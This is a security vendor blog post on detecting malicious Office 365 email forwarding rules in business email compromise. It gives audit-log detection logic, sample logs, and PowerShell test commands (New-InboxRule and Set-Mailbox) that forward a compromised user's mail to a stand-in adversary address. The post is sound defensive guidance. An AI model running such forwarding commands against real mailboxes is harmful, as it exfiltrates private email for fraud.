THREAT DETECTION

Detecting suspicious email forwarding rules

Office 365

You can stay one step ahead of email-based threats by developing and validating detection coverage for suspicious email forwarding activity. Here's how.

BRIAN DONOHUE • JUSTIN SCHOENFELD

Originally published May 31, 2022. Last modified October 1, 2024.

Despite costing companies untold billions of dollars every year, email account compromise (EAC), business email compromise (BEC), and other email-based scams garner less attention—from defenders and media alike—than costly and often high-profile ransomware attacks. In today's blog, we're going to discuss the scope of email-based threats and offer guidance on what security teams can do about it.

Specifically, we're going to talk about how **Office 365 telemetry** can help you detect email-based threats—and even more specifically about how we're developing detection analytics that use Microsoft Unified Audit Logs to catch adversaries who attempt to **forward email messages**, a behavior associated with all variety of email-based threats and a wide variety of other attack techniques. Additionally, we're going to explain how you can leverage this telemetry source in your own environment, and we'll also include some tests you can run to validate your detection coverage.

The problem, quantified as best we can

According to the FBI Internet Crime Complaint Center (IC3), BEC alone cost victims more than **$43B between June 2016 and December 2021**—a figure that only increases when you combine it with other email-based threats. Cost estimates for

Whatever the actual numbers are, the damages caused by email schemes are right on par with those caused by ransomware—and therefore, we should probably make sure we're not treating these email-based threats as an afterthought.

An example, so we can show you how to detect bad things

We're focusing on just one variant of email compromise in this article, namely those that involve an adversary who leverages email forwarding rules. Let's talk through how things might play out before we describe some detection and testing options.

We'll start at the point where an adversary has successfully logged into a victim's mailbox. From there, an adversary can attempt to maintain access for as long as possible, quietly collecting valuable or sensitive information by simply reading through individual email messages, manually exporting messages to review offline, or stealthily forwarding email messages to external email accounts. In the latter scenario, adversaries may create email forwarding rules tied to a user's account that auto-forward all or specific emails to an external SMTP address. Auto-forwarding emails in this way allows an adversary on-demand and real-time access to email messages without worrying about the legitimate user deleting emails or even changing their password. In other words, adversaries set up forwarding rules as a form of insurance in case they lose access to their victim's email account.

> Adversaries set up forwarding rules as a form of insurance in case they lose access to their victim's email account.

In our example, we'll say the adversary is only interested in emails that contain terms like "direct deposit," "wire transfer," or "password reset." As such, they can set up a rule that automatically moves any emails containing those words in any part of the email to a mailbox folder the victim rarely checks, like their "RSS Feeds" or "Archived" folder. Part of the email rule might even mark the message as "read" or delete it altogether before forwarding the message to an external mailbox.

containing the direct deposit information of an account controlled by the adversary in an attempt to goad the victim into initiating a fraudulent wire transfer. Alternatively, they may just use the collected emails to launch additional phishing campaigns against the victim's colleagues to further entrench themselves in the environment.

A solution, so you can defend against email threats

Luckily for defenders, many enterprise email clients collect audit logs that you can use to detect suspicious email rules. Microsoft Exchange and Office 365 provides robust logging of user mailbox activity in the Unified Audit Log in the **Microsoft 365 Compliance Center**, which was recently renamed to the **Microsoft Purview Compliance Portal**.

These logs provide visibility into the actions a user conducts in their mailbox, including the creation of new email rules, what's been modified or accessed, records of user logons (or failed logon attempts), and much more. Over the last year or so, Red Canary has started collecting telemetry from these log sources and using that telemetry to develop detection analytics that pretty reliably catch malicious email forwarding, but more on that in a moment (spoiler alert: legitimate email forwarding rules are relatively uncommon and pretty easy to baseline).

Not only can adversaries create email rules manually, via the Outlook desktop client and Outlook on the Web (also referred to as Outlook Web App or OWA), they can also use the **Exchange PowerShell module**. These cmdlets provide administrators a powerful set of functionality for investigation and maintenance as well. Fortunately, regardless of the means by which an adversary creates or modifies forwarding rules, Unified Audit Logs capture the context of what occurs.

Some important data points exist within the audit logs. From the perspective of a defender attempting to detect suspicious forwarding rules, our detection engineering team determined the following "Operations" within the audit logs to be the most important:

- **New-InboxRule**
- **Set-InboxRule**
- **Remove-InboxRule**
- **Disable-InboxRule**
- **UpdateInboxRules**
- **Set-Mailbox**

These Operations contain different information and have slight alterations in format:

- The **New-InboxRule**, **Set-InboxRule**, **Remove-InboxRule**, or **Disable-InboxRule** Operations typically show up when someone is using the PowerShell cmdlet or Outlook on the Web.
- **UpdateInboxRules** is typically seen when rules are created or modified via an Outlook Desktop client using the Exchange Web Services (EWS) API and has a slightly different log format, which we'll provide in detail below.
- **Set-Mailbox** is also seen in PowerShell and OWA usage, but is typically used to change the settings of a user's mailbox. Some of these settings include options to externally forward emails.

The follow parameters can be used to modify mail-forwarding rules with **New-InboxRule**, **Set-InboxRule**, **Remove-InboxRule**, and **Disable-InboxRule** Operations:

PROPERTY	DESCRIPTION
ForwardAsAttachmentTo	The **ForwardAsAttachmentTo** parameter specifies an action for the Inbox rule that forwards the message to the specified recipient as an attachment.
ForwardTo	The **ForwardTo** parameter specifies an action for the Inbox rule that forwards the message to the specified recipient.
RedirectTo	The **RedirectTo** parameter specifies an action for the Inbox rule that redirects the message to the specified recipient.

The **Set-Mailbox** Operation can also contain the following forwarding properties:

PROPERTY	DESCRIPTION
ForwardingAddress	The **ForwardingAddress** parameter that specifies a forwarding address in your organization for messages that are sent to this mailbox.
ForwardingSmtpAddress	The **ForwardingSmtpAddress** parameter specifies a forwarding SMTP address for messages that are sent to this mailbox. Typically, you use this parameter to specify external email addresses that aren't validated

Now that we've specified some of the different ways that you can set up email forwarding and where you can collect relevant logs, let's talk about how you can

Detection strategy #1

We find the following logic useful for detecting forwarding rules created via Outlook on the Web:

```
Operation_includes [“New-
InboxRule”, “Set-InboxRule”,
“Remove-InboxRule”, “Disable-
InboxRule”]
&&
Parameters.Name_includes
[“ForwardTo”,
“ForwardAsAttachmentTo”,
“RedirectTo”]
```

We expect this rule to fire on the following example log for a **New-InboxRule** Operation:

```
{"CreationTime":"2022-01-
01T01:01:01","Id":"xxxxxxxx-xxxx-
xxxx-xxxx-
xxxxxxxxxxxx","Operation":"New-
InboxRule","OrganizationId":"xxxxx
xxx-xxxx-xxxx-xxxx-
xxxxxxxxxx","UserType":2,"Version"
:1,"Workload":"Exchange","ClientIP
":"x.x.x.x:x","ObjectId":"Some
Username\\Forward
All","UserId":"Some_Username@conto
so.com","AppId":"","ClientAppId":"
","ExternalAccess":false,"Organiza
tionName":"contoso.onmicrosoft.com
","OriginatingServer":"server
(15.20.5000.013)","Parameters":
[{"Name":"Mailbox","Value":"Some_U
sername@contoso.com"},
{"Name":"Name","Value":"Forward
All"},
{"Name":"RedirectTo","Value":"atta
cker@c0nt0s0.net"}],"SessionId":"x
xxxxxxx-xxxx-xxxx-xxxx-
xxxxxxxxxxxx"}
```

Detection strategy #2

As mentioned earlier, the **Set-Mailbox** operation also has the ability to configure a user’s mailbox to auto-forward messages. The following logic should help detect when these events occur:

```
Operation == “Set-Mailbox”
&&
[“ForwardingSmtpAddress”,
“ForwardingAddress”]
```

The following example is a log we expect to match for **Set-Mailbox** Operations, which forward emails to an external SMTP address:

```
{"CreationTime":"2022-01-
01T01:01:01","Id":"675cb883-ab7c-
4675-76e2-
08da2f96c1c3","Operation":"Set-
Mailbox","OrganizationId":"xxxxxxx
x-xxxx-xxxx-xxxx-
xxxxxxxxxxxx","RecordType":1,"Resu
ltStatus":"True","UserKey":"xxxxxx
xxxxxxxxx","UserType":2,"Version":
1,"Workload":"Exchange","ClientIP"
:"x.x.x.x:x","ObjectId":"user-
alerts","UserId":"user@contoso.com
","AppId":"","ClientAppId":"","Ext
ernalAccess":false,"OrganizationNa
me":"contoso.onmicrosoft.com","Ori
ginatingServer":"server
(15.00.0000.000)","Parameters":
[{"Name":"DeliverToMailboxAndForwa
rd","Value":"True"},
{"Name":"ForwardingSmtpAddress","V
alue":"smtp:attacker@c0nt0s0.net"}
,{"Name":"Identity","Value":"user-
alerts"}],"SessionId":"xxxxxxxx-
xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
```

Detection strategy #3

We mentioned briefly above that the format of an **UpdateInboxRules** log has a different format as compared to the PowerShell/OWA logs. The logs will collapse some of the specific forwarding properties into one line typically found in the value of the **RuleActions**.

```
Operation == “UpdateInboxRules”
&&
OperationProperties.Value_includes
“Forward”
&&
OperationProperties.Value_includes
“Recipients”
```

The following example is a log we expect to match for an **UpdateInboxRules** Operation:

```
01T01:01:01",
  "Id": "db61d72e-138a-456b-98bb-
08da28919367",
  "Operation": "UpdateInboxRules",
  "OrganizationId": "f656c9e0-
c696-41a4-abee-b30f5351f5f3",
  "RecordType": 2,
  "ResultStatus": "Succeeded",
  "UserKey": "100320016E8A0D67",
  "UserType": 0,
  "Version": 1,
  "Workload": "Exchange",
  "ClientIP": "40.87.48.185",
  "UserId":
"some_user@contoso.onmicrosoft.com
",
  "ClientIPAddress": "x.x.x.x",
  "ClientInfoString":
"Client=MSExchangeRPC",
  "ClientProcessName":
"OUTLOOK.EXE",
  "ClientRequestId": "{A67DAC7A-
0549-46AC-9D4B-9EE513169AF7}",
  "ClientVersion":
"16.0.00000.00000",
  "ExternalAccess": false,
  "InternalLogonType": 0,
  "LogonType": 0,
  "LogonUserSid": "S-1-5-21-
xxxxxxxxxx-xxxxxxxxx-xxxxxxxxxx-
xxxx",
  "MailboxGuid": "xxxxxxxx-xxxx-
xxxx-xxxx-xxxxxxxxxxxx",
  "MailboxOwnerSid": "S-1-5-21-
xxxxxxxxxx-xxxxxxxxx-xxxxxxxxxx-
```

```
",
  "OperationProperties": [
    {
      "Name": "RuleOperation",
      "Value": "AddMailboxRule"
    },
    {
      "Name": "RuleId",
      "Value": "0"
    },
    {
      "Name": "RuleState",
      "Value": "Enabled"
    },
    {
      "Name": "RuleCondition",
      "Value": "{(&((MessageToMe
Equal True)(!((SubString
Default(DisplayTo)=;)))))}"
    },
    {
      "Name": "RuleName",
      "Value": "sent only to me"
    },
    {
      "Name": "RuleProvider",
      "Value": "RuleOrganizer"
    },
    {
      "Name": "RuleActions",
      "Value": "
[{\"ActionType\":\"Forward\",\"Rec
ipients\":
[\attacker@c0nt0s0.onmicrosoft.com
\"],\"ForwardFlags\":\"PreserveSen
```

```
  "OrganizationName":
"contoso.onmicrosoft.com",
  "OriginatingServer": "server
(15.20.0000.000)\r\n",
  "SessionId": "xxxxxxxx-xxxx-
xxxx-xxxx-xxxxxxxxxxxx",
  "Item": {
    "Id": "xxxxxxxxxxxxxxxxxxx",
    "ParentFolder": {
      "Id": "xxxxxxxxxxxx",
      "Name": "Inbox",
      "Path": "\\Inbox" }}}
```

Rules were made to be validated

In order to verify your rules are indeed operating as expected, the following PowerShell commands should be helpful in generating telemetry. Once your detection logic is up and running, execute these series of commands to generate inbox rules and (hopefully!) corresponding alerts or detections:

The following tests rely upon the **ExchangeOnlineManagement PowerShell module**. The module is available in the **PowerShell Gallery** and can be installed with the following command:

```
Install-Module -Name ExchangeOnlineManagement
```

The attack examples that will follow assume that an adversary has credentials to a compromised Azure AD account and has authenticated with the **Connect-ExchangeOnline** cmdlet. Example:

```
Connect-ExchangeOnline -UserPrincipalName CompromisedUser@contoso.com
```

```
New-InboxRule -Name 'LegitimateBackupRule' -ForwardTo
'AdversaryInbox@SusDomain.aq'
```

A variation of the above attack, this example uses the **Set-Mailbox** cmdlet to forward all email received by `CompromisedUser@contoso[.]com` to `AdversaryInbox@SusDomain[.]aq.`

```
Set-Mailbox -Identity CompromisedUser -DeliverToMailboxAndForward $true -
ForwardingSmtpAddress 'AdversaryInbox@SusDomain.aq'
```

A conclusion, to finish the blog

Gaining visibility into suspicious email forwarding is an important step toward detecting and preventing email-based threats. We hope this article helps you better understand the totality of the problem, and more importantly, that it helps you and your team improve your defense-in-depth against all the varieties of email threats.

Appendix: Preventive measures

Disable external email forwarding

- **https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/external-email-forwarding?view=o365-worldwide**
- **https://www.documentcloud.org/documents/20418379-fbi-pin-on-intrusions-exploiting-email-forwarding-rules**

Office 365 Hardening Guides

- **https://github.com/PwC-IR/Business-Email-Compromise-Guide/blob/main/PwC-Business_Email_Compromise-Guide.pdf**
- **https://www.mandiant.com/sites/default/files/2021-11/wp-m**

RELATED ARTICLES

THREAT DETECTION

Artificial authentication: Understanding and observing Azure OpenAI abuse

THREAT DETECTION

Apple picking: Bobbing for Atomic Stealer & other macOS malware

THREAT DETECTION

Keep track of AWS user activity with SourceIdentity attribute

THREAT DETECTION

Trending cyberthreats and techniques from the first half of 2024

Subscribe to our blog

GET A DEMO ›

See Red Canary in action

Schedule your demo now

Get a Demo →

Search

PRODUCTS

Managed Detection and Response (MDR)
Readiness Exercises
Linux EDR

SOLUTIONS

Deliver Enterprise Security Across Your IT Environment
Get a 24×7 SOC Instantly

GET A DEMO ›

What’s New?
Plans

Protect Your Users’ Email, Identities, and SaaS Apps
Protect Your Cloud
Protect Critical Production Linux and Kubernetes
Stop Business Email Compromise
Replace Your MSSP or MDR
Run More Effective Tabletops
Train Continuously for Real-World Scenarios
Operationalize Your Microsoft Security Stack
Minimize Downtime with After-Hours Support

RESOURCES

View all Resources
Blog
Integrations
Guides & Overviews
Cybersecurity 101
Case Studies
Videos
Webinars
Events
Customer Help Center
Newsletter

COMPANY

About Us
The Red Canary Difference
News & Press
Careers – We’re Hiring!
Contact Us
Trust Center and Security

PARTNERS

Overview
Incident Response
Insurance & Risk
Managed Service Providers
Solution Providers
Technology Partners
Apply to Become a Partner

GET A DEMO ›